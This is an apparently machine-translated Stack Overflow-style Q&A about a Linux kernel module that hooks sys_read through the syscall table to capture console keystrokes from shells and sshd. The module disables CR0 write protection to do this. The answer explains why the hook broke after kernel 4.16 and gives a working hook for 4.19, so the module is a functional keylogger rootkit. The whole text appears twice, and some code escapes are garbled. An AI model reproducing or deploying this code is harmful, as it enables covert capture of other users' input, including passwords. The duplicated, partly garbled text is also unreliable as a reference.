新 Linux 内核中的内存隔离,或者什么?
Memory Isolation in new Linux Kernels, or what?
我的这个模块完美地劫持了用户的控制台:https://pastebin.com/99YJFnaq
它是 Linux 内核 4.12,Kali 2018.1。
现在,我已经安装了最新版本的 Kali - 2019.1。它使用内核 4.19:
Linux kali 4.19.0-kali1-amd64 #1 SMP Debian 4.19.13-1kali1
(2019-01-03) x86_64 GNU/Linux
我正在尝试捕捉任何东西,但流中不存在任何 fd == 0 的东西。
我在谷歌上搜索了很长时间,尝试阅读 changelogs
不同的资源...
我找到了这样的模块kpti
,它可能会做类似的事情,但是这个模块没有安装在 Kali 2019.1 中。
请帮我找到hacked_read
在这段代码中停止听到sys_read()
的确切原因:
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/unistd.h>
#include <linux/time.h>
#include <linux/preempt.h>
#include <asm/uaccess.h>
#include <asm/paravirt.h>
#include <asm-generic/bug.h>
#include <asm/segment.h>
#define BUFFER_SIZE 512
#define MODULE_NAME "hacked_read"
#define dbg( format, arg... ) do { if ( debug ) pr_info( MODULE_NAME ": %s: " format , __FUNCTION__ , ## arg ); } while ( 0 )
#define err( format, arg... ) pr_err( MODULE_NAME ": " format, ## arg )
#define info( format, arg... ) pr_info( MODULE_NAME ": " format, ## arg )
#define warn( format, arg... ) pr_warn( MODULE_NAME ": " format, ## arg )
MODULE_DESCRIPTION( MODULE_NAME );
MODULE_VERSION( "0.1" );
MODULE_LICENSE( "GPL" );
MODULE_AUTHOR( "module author <mail@domain.com>" );
static char debug_buffer[ BUFFER_SIZE ];
unsigned long ( *original_read ) ( unsigned int, char *, size_t );
void **sct;
unsigned long icounter = 0;
static inline void rw_enable( void ) {
asm volatile ( "cli \n"
"pushq %rax \n"
"movq %cr0, %rax \n"
"andq [=11=]xfffffffffffeffff, %rax \n"
"movq %rax, %cr0 \n"
"popq %rax " );
}
static inline uint64_t getcr0(void) {
register uint64_t ret = 0;
asm volatile (
"movq %%cr0, %0\n"
:"=r"(ret)
);
return ret;
}
static inline void rw_disable( register uint64_t val ) {
asm volatile(
"movq %0, %%cr0\n"
"sti "
:
:"r"(val)
);
}
static void* find_sym( const char *sym ) {
static unsigned long faddr = 0; // static !!!
// ----------- nested functions are a GCC extension ---------
int symb_fn( void* data, const char* sym, struct module* mod, unsigned long addr ) {
if( 0 == strcmp( (char*)data, sym ) ) {
faddr = addr;
return 1;
} else return 0;
};// --------------------------------------------------------
kallsyms_on_each_symbol( symb_fn, (void*)sym );
return (void*)faddr;
}
unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {
unsigned long r = 1;
if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
return original_read( fd, buf, count );
} else {
icounter++;
if ( icounter % 1000 == 0 ) {
info( "test2 icounter = %ld\n", icounter );
info( "strlen( debug_buffer ) = %ld\n", strlen( debug_buffer ) );
}
r = original_read( fd, buf, count );
strncat( debug_buffer, buf, 1 );
if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
debug_buffer[0] = '[=11=]';
return r;
}
}
int hacked_read_init( void ) {
register uint64_t cr0;
info( "Module was loaded\n" );
sct = find_sym( "sys_call_table" );
original_read = (void *)sct[ __NR_read ];
cr0 = getcr0();
rw_enable();
sct[ __NR_read ] = hacked_read_test;
rw_disable( cr0 );
return 0;
}
void hacked_read_exit( void ) {
register uint64_t cr0;
info( "Module was unloaded\n" );
cr0 = getcr0();
rw_enable();
sct[ __NR_read ] = original_read;
rw_disable( cr0 );
}
module_init( hacked_read_init );
module_exit( hacked_read_exit );
生成文件:
CURRENT = $(shell uname -r)
KDIR = /lib/modules/$(CURRENT)/build
PWD = $(shell pwd)
TARGET = hacked_read
obj-m := $(TARGET).o
default:
$(MAKE) -C $(KDIR) M=$(PWD) modules
clean:
@rm -f *.o .*.cmd .*.flags *.mod.c *.order
@rm -f .*.*.cmd *.symvers *~ *.*~ TODO.*
@rm -fR .tmp*
@rm -rf .tmp_versions
我确信像以前一样的一切都在不断调用 sys_read()
。 tee
、bash
、vi
- 所有这些东西都不可能在这么短的时间内改变,但是 linux-kernel
.
有绕过的代码我会欣赏的
一些故障排除显示如下:
- 当然,none 的用户空间程序停止使用
read()
。他们仍然继续称呼它。
- 没有"memory isolation"。系统调用 table 在模块初始化期间被成功修改,指向
sys_read()
的指针被成功替换为指向 hacked_read_test()
. 的指针
- 加载模块时,
read()
系统调用就像原来的系统调用一样工作。
- 行为的变化发生在内核
4.16
和 4.16.2
之间(即在 2018 年 4 月 1 日 和 4 月 12 日之间, 2018).
考虑到这一点,我们要检查的提交列表非常狭窄,并且更改很可能在系统调用机制中。好吧,看起来像 this commit is what we are looking for(还有一些)。
此提交的关键部分是它更改了由 SYSCALL_DEFINEx
定义的函数的签名,以便它们接受 a pointer to struct pt_regs 而不是系统调用参数,即 sys_read(unsigned int fd, char __user * buf, size_t count)
变为 sys_read(const struct pt_regs *regs)
.这意味着 hacked_read_test(unsigned int fd, char *buf, size_t count)
不再是 sys_read()
!
的有效替代品
因此,对于新内核,您将 sys_read(const struct pt_regs *regs)
替换为 hacked_read_test(unsigned int fd, char *buf, size_t count)
。为什么这不会崩溃,而是像原来的 sys_read()
一样工作?再次考虑hacked_read_test()
的简化版本:
unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {
if ( fd != 0 ) {
return original_read( fd, buf, count );
} else {
// ...
}
}
嗯。第一个函数参数通过 %rdi
寄存器传递。 sys_read()
的调用者将指向 struct pt_regs
的指针放入 %rdi
并执行调用。执行流程进入 hacked_read_test()
,并且 第一个参数 fd
被检查是否不为零 。考虑到这个参数包含一个有效的指针而不是文件描述符,这个条件成功并且控制流直接进入 original_read()
,它接收 fd
值(即,实际上,指向 struct pt_regs
) 作为第一个参数,然后它又被成功地用作它最初的意图。因此,由于内核 4.16.2
您的 hacked_read_test()
有效地 工作如下:
unsigned long hacked_read_test( const struct pt_regs *regs ) {
return original_read( regs );
}
为了确定这一点,您可以尝试 hacked_read_test()
的替代版本:
unsigned long hacked_read_test( void *ptr ) {
if ( ptr != 0 ) {
info( "invocation of hacked_read_test(): 1st arg is %d (%p)", ptr, ptr );
return original_read( ptr );
} else {
return -EINVAL;
}
}
编译和 insmod
ing 这个版本后,你得到以下内容:
invocation of hacked_read_test(): 1st arg is 35569496 (00000000c3a0dc9e)
您可以创建 hacked_read_test()
的工作版本,但似乎实现将取决于平台,因为您必须从 regs
的适当寄存器字段中提取参数(对于 x86_84
,第一个、第二个和第三个系统调用参数分别是 %rdi
、%rsi
和 %rdx
。
工作 x86_64
实现如下(在内核 4.19
上测试)。
#include <asm/ptrace.h>
// ...
unsigned long ( *original_read ) ( const struct pt_regs *regs );
// ...
unsigned long hacked_read_test( const struct pt_regs *regs ) {
unsigned int fd = regs->di;
char *buf = (char*) regs->si;
unsigned long r = 1;
if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
return original_read( regs );
} else {
icounter++;
if ( icounter % 1000 == 0 ) {
info( "test2 icounter = %ld\n", icounter );
info( "strlen( debug_buffer ) = %ld\n", strlen( debug_buffer ) );
}
r = original_read( regs );
strncat( debug_buffer, buf, 1 );
if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
debug_buffer[0] = '[=14=]';
return r;
}
}
我的这个模块完美地劫持了用户的控制台:https://pastebin.com/99YJFnaq
它是 Linux 内核 4.12,Kali 2018.1。
现在,我已经安装了最新版本的 Kali - 2019.1。它使用内核 4.19:
Linux kali 4.19.0-kali1-amd64 #1 SMP Debian 4.19.13-1kali1 (2019-01-03) x86_64 GNU/Linux
我正在尝试捕捉任何东西,但流中不存在任何 fd == 0 的东西。
我在谷歌上搜索了很长时间,尝试阅读
changelogs
不同的资源...
我找到了这样的模块kpti
,它可能会做类似的事情,但是这个模块没有安装在 Kali 2019.1 中。
请帮我找到hacked_read
在这段代码中停止听到sys_read()
的确切原因:
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/unistd.h>
#include <linux/time.h>
#include <linux/preempt.h>
#include <asm/uaccess.h>
#include <asm/paravirt.h>
#include <asm-generic/bug.h>
#include <asm/segment.h>
#define BUFFER_SIZE 512
#define MODULE_NAME "hacked_read"
#define dbg( format, arg... ) do { if ( debug ) pr_info( MODULE_NAME ": %s: " format , __FUNCTION__ , ## arg ); } while ( 0 )
#define err( format, arg... ) pr_err( MODULE_NAME ": " format, ## arg )
#define info( format, arg... ) pr_info( MODULE_NAME ": " format, ## arg )
#define warn( format, arg... ) pr_warn( MODULE_NAME ": " format, ## arg )
MODULE_DESCRIPTION( MODULE_NAME );
MODULE_VERSION( "0.1" );
MODULE_LICENSE( "GPL" );
MODULE_AUTHOR( "module author <mail@domain.com>" );
static char debug_buffer[ BUFFER_SIZE ];
unsigned long ( *original_read ) ( unsigned int, char *, size_t );
void **sct;
unsigned long icounter = 0;
static inline void rw_enable( void ) {
asm volatile ( "cli \n"
"pushq %rax \n"
"movq %cr0, %rax \n"
"andq [=11=]xfffffffffffeffff, %rax \n"
"movq %rax, %cr0 \n"
"popq %rax " );
}
static inline uint64_t getcr0(void) {
register uint64_t ret = 0;
asm volatile (
"movq %%cr0, %0\n"
:"=r"(ret)
);
return ret;
}
static inline void rw_disable( register uint64_t val ) {
asm volatile(
"movq %0, %%cr0\n"
"sti "
:
:"r"(val)
);
}
static void* find_sym( const char *sym ) {
static unsigned long faddr = 0; // static !!!
// ----------- nested functions are a GCC extension ---------
int symb_fn( void* data, const char* sym, struct module* mod, unsigned long addr ) {
if( 0 == strcmp( (char*)data, sym ) ) {
faddr = addr;
return 1;
} else return 0;
};// --------------------------------------------------------
kallsyms_on_each_symbol( symb_fn, (void*)sym );
return (void*)faddr;
}
unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {
unsigned long r = 1;
if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
return original_read( fd, buf, count );
} else {
icounter++;
if ( icounter % 1000 == 0 ) {
info( "test2 icounter = %ld\n", icounter );
info( "strlen( debug_buffer ) = %ld\n", strlen( debug_buffer ) );
}
r = original_read( fd, buf, count );
strncat( debug_buffer, buf, 1 );
if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
debug_buffer[0] = '[=11=]';
return r;
}
}
int hacked_read_init( void ) {
register uint64_t cr0;
info( "Module was loaded\n" );
sct = find_sym( "sys_call_table" );
original_read = (void *)sct[ __NR_read ];
cr0 = getcr0();
rw_enable();
sct[ __NR_read ] = hacked_read_test;
rw_disable( cr0 );
return 0;
}
void hacked_read_exit( void ) {
register uint64_t cr0;
info( "Module was unloaded\n" );
cr0 = getcr0();
rw_enable();
sct[ __NR_read ] = original_read;
rw_disable( cr0 );
}
module_init( hacked_read_init );
module_exit( hacked_read_exit );
生成文件:
CURRENT = $(shell uname -r)
KDIR = /lib/modules/$(CURRENT)/build
PWD = $(shell pwd)
TARGET = hacked_read
obj-m := $(TARGET).o
default:
$(MAKE) -C $(KDIR) M=$(PWD) modules
clean:
@rm -f *.o .*.cmd .*.flags *.mod.c *.order
@rm -f .*.*.cmd *.symvers *~ *.*~ TODO.*
@rm -fR .tmp*
@rm -rf .tmp_versions
我确信像以前一样的一切都在不断调用 sys_read()
。 tee
、bash
、vi
- 所有这些东西都不可能在这么短的时间内改变,但是 linux-kernel
.
有绕过的代码我会欣赏的
一些故障排除显示如下:
- 当然,none 的用户空间程序停止使用
read()
。他们仍然继续称呼它。 - 没有"memory isolation"。系统调用 table 在模块初始化期间被成功修改,指向
sys_read()
的指针被成功替换为指向hacked_read_test()
. 的指针
- 加载模块时,
read()
系统调用就像原来的系统调用一样工作。 - 行为的变化发生在内核
4.16
和4.16.2
之间(即在 2018 年 4 月 1 日 和 4 月 12 日之间, 2018).
考虑到这一点,我们要检查的提交列表非常狭窄,并且更改很可能在系统调用机制中。好吧,看起来像 this commit is what we are looking for(还有一些)。
此提交的关键部分是它更改了由 SYSCALL_DEFINEx
定义的函数的签名,以便它们接受 a pointer to struct pt_regs 而不是系统调用参数,即 sys_read(unsigned int fd, char __user * buf, size_t count)
变为 sys_read(const struct pt_regs *regs)
.这意味着 hacked_read_test(unsigned int fd, char *buf, size_t count)
不再是 sys_read()
!
因此,对于新内核,您将 sys_read(const struct pt_regs *regs)
替换为 hacked_read_test(unsigned int fd, char *buf, size_t count)
。为什么这不会崩溃,而是像原来的 sys_read()
一样工作?再次考虑hacked_read_test()
的简化版本:
unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {
if ( fd != 0 ) {
return original_read( fd, buf, count );
} else {
// ...
}
}
嗯。第一个函数参数通过 %rdi
寄存器传递。 sys_read()
的调用者将指向 struct pt_regs
的指针放入 %rdi
并执行调用。执行流程进入 hacked_read_test()
,并且 第一个参数 fd
被检查是否不为零 。考虑到这个参数包含一个有效的指针而不是文件描述符,这个条件成功并且控制流直接进入 original_read()
,它接收 fd
值(即,实际上,指向 struct pt_regs
) 作为第一个参数,然后它又被成功地用作它最初的意图。因此,由于内核 4.16.2
您的 hacked_read_test()
有效地 工作如下:
unsigned long hacked_read_test( const struct pt_regs *regs ) {
return original_read( regs );
}
为了确定这一点,您可以尝试 hacked_read_test()
的替代版本:
unsigned long hacked_read_test( void *ptr ) {
if ( ptr != 0 ) {
info( "invocation of hacked_read_test(): 1st arg is %d (%p)", ptr, ptr );
return original_read( ptr );
} else {
return -EINVAL;
}
}
编译和 insmod
ing 这个版本后,你得到以下内容:
invocation of hacked_read_test(): 1st arg is 35569496 (00000000c3a0dc9e)
您可以创建 hacked_read_test()
的工作版本,但似乎实现将取决于平台,因为您必须从 regs
的适当寄存器字段中提取参数(对于 x86_84
,第一个、第二个和第三个系统调用参数分别是 %rdi
、%rsi
和 %rdx
。
工作 x86_64
实现如下(在内核 4.19
上测试)。
#include <asm/ptrace.h>
// ...
unsigned long ( *original_read ) ( const struct pt_regs *regs );
// ...
unsigned long hacked_read_test( const struct pt_regs *regs ) {
unsigned int fd = regs->di;
char *buf = (char*) regs->si;
unsigned long r = 1;
if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
return original_read( regs );
} else {
icounter++;
if ( icounter % 1000 == 0 ) {
info( "test2 icounter = %ld\n", icounter );
info( "strlen( debug_buffer ) = %ld\n", strlen( debug_buffer ) );
}
r = original_read( regs );
strncat( debug_buffer, buf, 1 );
if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
debug_buffer[0] = '[=14=]';
return r;
}
}